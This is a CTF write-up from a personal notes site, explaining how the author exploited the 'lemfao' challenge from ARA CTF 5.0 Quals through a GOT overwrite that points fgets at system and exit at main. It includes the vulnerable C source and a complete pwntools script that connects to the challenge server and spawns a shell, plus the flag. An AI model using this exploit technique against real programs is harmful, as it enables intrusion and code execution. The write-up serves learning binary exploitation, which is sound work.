🚩
nabilmuafa's CTF Notes
  • Intro
  • 🖊️Write-ups
    • 2025 Writeups
      • Cyber Jawara National 2024 - General Category
        • Give Me File
        • U-AFF Arigatou STY :( - Upsolved
        • ASM Raw
        • pyrip
        • py50
    • 2024 Writeups
      • Cyber Jawara International 2024
        • Persona
      • Gemastik Keamanan Siber 2024 Quals
        • Baby Ulala (Upsolved)
      • ARA CTF 5.0 Quals
        • lemfao (Upsolved)
  • Random Writeups
    • Attacking 2-Round AES with 1 Known Plaintext
Powered by GitBook
On this page
  • Phase 1: Analysis
  • The Exploit Entry
  • How Does It Work?
  • But, What Do We Write?
  • Phase 2: Exploit
  • EOF
  • References
  1. Write-ups
  2. 2024 Writeups
  3. ARA CTF 5.0 Quals

lemfao (Upsolved)

Pretty straightforward(???) GOT overwrite

NOTE: Solved after the competition has ended with the help of NeoZap

I didn't get the chance to participate in ARA CTF last year, so I (and my team) registered for this year's. This is one of the binary exploitation problems made by my friend HyggeHalcyon. The general idea of the solution is GOT overwrite, since the binary has no PIE protection and only partial RELRO (meaning the GOT section is writeable). He said this was unintended though XD

Phase 1: Analysis

We're given this C code:

#include <stdio.h>
#include <stdlib.h>

// // gcc main.c -no-pie -o lemfao

void init() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

char lemfao[0x150];

void main(int argc, char* argv[]) {
    init();
    printf("free stuff: %#lx\n", &malloc);

    printf("lemfao? ");
    fgets(lemfao, 0x150, stdin);

    unsigned long where;
    for(int i = 0; i < 2; i++) {
        printf("hm...? ");
        scanf("%lu", &where);

        printf("huh... ");
        scanf("%lu", where);
    }

    puts("lemfao haha...");
    exit(0);
}

The binary has these protections:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fd000)

The Exploit Entry

The code has a straightforward flow at first glance. But there is an arbitrary write exploit located inside the loop.

...
printf("hm...? ");
scanf("%lu", &where);

printf("huh... ");
scanf("%lu", where);
...

The first scanf points to the memory address of the where variable, meaning whatever we input will get written onto that address, and therefore, into the variable. The second scanf, on the other hand, doesn't point to a memory address, instead it points to the value of whatever is in the variable where. We can exploit this. If the value of the variable where is an address, then we can do some arbitrary write to that address. One of the possible exploits with this is GOT overwriting.

We can also note that the first output of the code gives us malloc()'s address. That way, we can easily calculate the libc base address without having to leak anything.

How Does It Work?

This part needs further verification and improvements.

I'm not gonna explain too much of how PLT and GOT works in C. But on GOT overwrites, we generally modify the GOT entry of a specific function so that it points to another function. If you're not familiar, C functions in dynamically linked binaries (specifically functions in libc) usually undergo a specific calling flow.

Take this as an example: You're calling puts(). Because puts() is a libc function, the binary "doesn't know" where the address of puts() is. So instead of calling puts(), it calls the PLT entry of puts() instead. From that, it'll find the GOT entry of puts() and call the actual function itself from the libc. CMIIW.

But, What Do We Write?

Okay, back to the problem. What do we write? Since there's no win function or any other function that outputs the flag, we need to get the shell by calling system("/bin/sh"). With that, the approach here is we're gonna try and overwrite a function's GOT to system()'s GOT entry and somehow pass "/bin/sh" to the first argument of the function. With this approach, when the function is called, it's as if the function is calling system("/bin/sh").

But where? Which function? Let's take another look at the code.

void main(int argc, char* argv[]) {
    init();
    printf("free stuff: %#lx\n", &malloc);

    printf("lemfao? ");
    fgets(lemfao, 0x150, stdin);

    unsigned long where;
    for(int i = 0; i < 2; i++) {
        printf("hm...? ");
        scanf("%lu", &where);

        printf("huh... ");
        scanf("%lu", where);
    }

    puts("lemfao haha...");
    exit(0);
}

We obviously don't want to replace scanf()'s GOT entry. It's our exploit entry. The other functions like printf() and puts() doesn't have a variable on its first argument, meaning that we can't replace it or pass "/bin/sh" to its argument. So there's only one possible entry left:

...
fgets(lemfao, 0x150, stdin);
...

The fgets call doesn't really contribute to the code logic, so we can modify it without 'breaking the code'. The function call also has a variable as its first argument, meaning we can pass whatever we want as an argument to the call (if it is NOT an fgets()). Considering those reasons, this fgets() call is the perfect target. We can overwrite the fgets() GOT entry with system()'s, and then pass "/bin/sh" to lemfao.

There's just one problem. The fgets() is called before our exploit entry. Even if we successfully overwrite fgets()'s GOT entry, the function has been called, so it looks like it's gonna be no use. The only way we can call it again is if we can modify the flow of the program so that the particular fgets() gets called again. Luckily, we actually can.

...
    puts("lemfao haha...");
    exit(0);
}

Using the same principles as the fgets() GOT overwrite, we can overwrite the GOT entry of the exit(0) call with the main() function address. With this, when exit(0) is called, it is actually calling the main() function again, so the program runs again from the first line along with the modifications we have done to the binary.

Phase 2: Exploit

With the analysis and exploit flow done, we can craft the payload. First of all, let's utilize the free address given to calculate the libc base address. It is obvious that ASLR is turned on, so we need to "calibrate" the libc base address in order to be able to correctly use addresses to exploit.

from pwn import *

exe = ELF("./lemfao_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)

r = remote("103.152.242.68", "10024")

address = int(r.recvline().strip().split()[2].decode()[2:], 16)
libc.address = address - libc.sym["malloc"]

For the next input, we want to pass "/bin/sh" to lemfao.

r.sendlineafter(b"lemfao?", b"/bin/sh")

Now, the variable lemfao contains the string "/bin/sh". If we call fgets(lemfao, ..., ...) after the GOT entry has been overwritten, it will be as if we're calling system("/bin/sh").

For the next two inputs, we're going to overwrite fgets()'s GOT. We need to pass the address of fgets()'s GOT entry and overwrite the GOT with system()'s, so when fgets() is called, it is actually calling system(). The two inputs are ordered this way by referencing to the section The Exploit Entry . After the first input, the variable where has fgets()'s GOT entry address, so the second scanf() writes into that address.

r.sendlineafter(b"hm...? ", str(exe.got["fgets"]).encode())
r.sendlineafter(b"huh...", str(libc.sym["system"]).encode())

The next two inputs, we're overwriting exit()'s GOT so that it calls the main() function again.

r.sendlineafter(b"hm...? ", str(exe.got["exit"]).encode())
r.sendlineafter(b"huh...", str(exe.sym["main"]).encode())

Now when the for loop ends and exit(0) gets called, it is actually calling main() again. Because main() is called again, the fgets() is called again, but it is now actually calling system("bin/sh") because we overwrote the GOT entry.

That should be it. Don't forget to switch to interactive mode.

Full exploit:

from pwn import *

exe = ELF("./lemfao_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)

r = remote("103.152.242.68", "10024")

address = int(r.recvline().strip().split()[2].decode()[2:], 16)
libc.address = address - libc.sym["malloc"]

r.sendlineafter(b"lemfao?", b"/bin/sh")

r.sendlineafter(b"hm...? ", str(exe.got["fgets"]).encode())
r.sendlineafter(b"huh...", str(libc.sym["system"]).encode())

r.sendlineafter(b"hm...? ", str(exe.got["exit"]).encode())
r.sendlineafter(b"huh...", str(exe.sym["main"]).encode())

r.interactive()

Apparently, the flag file has CRLF line endings, so outputting it on the shell doesn't show anything. You might want to turn on pwntools' debug mode (context.log_level = debug).

Flag

ARA5{LEMFAO_HES_A_CHINESE_HACKERS!!!!!!_sorry_this_chall_dibuat_dadakan_tanpa_persiapan_yang_matang}

EOF

This is one of my earlier attempts of doing a successful GOT overwrite. I'm still learning, and decided that writing this would be a good media to actually learn again. Feedbacks (if possible, lmao) are appreciated. Thank you for reading!

References

Last updated 4 months ago

🖊️
PLT and GOT
Format String Exploit and overwrite the Global Offset Table - bin 0x13
The exploit ran in the terminal.